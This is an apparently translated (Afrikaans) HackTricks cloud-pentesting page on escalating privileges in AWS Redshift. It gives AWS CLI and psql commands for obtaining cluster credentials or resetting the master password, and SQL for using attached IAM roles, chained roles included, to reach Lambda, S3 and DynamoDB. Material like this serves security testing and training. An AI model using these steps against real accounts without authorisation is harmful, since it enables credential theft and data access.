# AWS - Redshift Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Redshift

Vir meer inligting oor RDS sien:

{{#ref}}
../../aws-services/aws-redshift-enum.md
{{#endref}}

### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`

Met hierdie toestemmings kan jy **inligting oor alle clusters** (insluitend naam en cluster username) kry en **credentials** bekom om toegang daartoe te kry:
```bash
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
```
**Potensiële impak:** Vind sensitiewe inligting binne die databasisse.

### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`

Met hierdie permissies kan jy **inligting oor alle clusters kry** en **inlogbewyse bekom** om toegang daartoe te kry.\
Let wel dat die postgres-gebruiker die **permissies van die IAM-identity** wat gebruik is om die inlogbewyse te kry, sal hê.
```bash
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
```
**Potensiële Impak:** Vind sensitiewe inligting in die databasisse.

### `redshift:DescribeClusters`, `redshift:ModifyCluster?`

Dit is moontlik om die **meester-wagwoord** van die interne postgres (redshit) gebruiker vanaf die aws cli te wysig (ek dink dit is die permissies wat jy nodig het, maar ek het dit nog nie getoets nie):
```
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
```
**Potensiële impak:** Vind sensitiewe inligting binne die databasisse.

## Toegang tot Eksterne Dienste

> [!WARNING]
> Om toegang tot al die volgende hulpbronne te kry, sal jy moet **die rol spesifiseer wat gebruik moet word**. 'n Redshift cluster **kan 'n lys van AWS roles toegeken hê** wat jy kan gebruik **as jy die ARN ken** of jy kan net "**default**" stel om die standaard een wat toegeken is te gebruik.

> Verder, soos [**hier verduidelik**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift laat ook toe om rolle aan mekaar te koppel (solank die eerste een die tweede kan aanneem) om verdere toegang te kry, maar deur hulle net met 'n **komma** te **skei**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`

### Lambdas

Soos verduidelik in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), dit is moontlik om 'n **lambda function van redshift aan te roep** met iets soos:
```sql
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
```
### S3

Soos verduidelik in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), is dit moontlik om **in S3 buckets te lees en te skryf**:
```sql
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
```
### Dynamo

Soos uiteengesit in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), is dit moontlik om **data van dynamodb te kry**:
```sql
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
```
> [!WARNING]
> Die Amazon DynamoDB-tabel wat die data verskaf, moet in dieselfde AWS Region as jou kluster geskep word, tensy jy die [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) opsie gebruik om die AWS Region waarin die Amazon DynamoDB-tabel geleë is, te spesifiseer.

### EMR

Kyk na [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)

## Verwysings

- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)

{{#include ../../../../banners/hacktricks-training.md}}
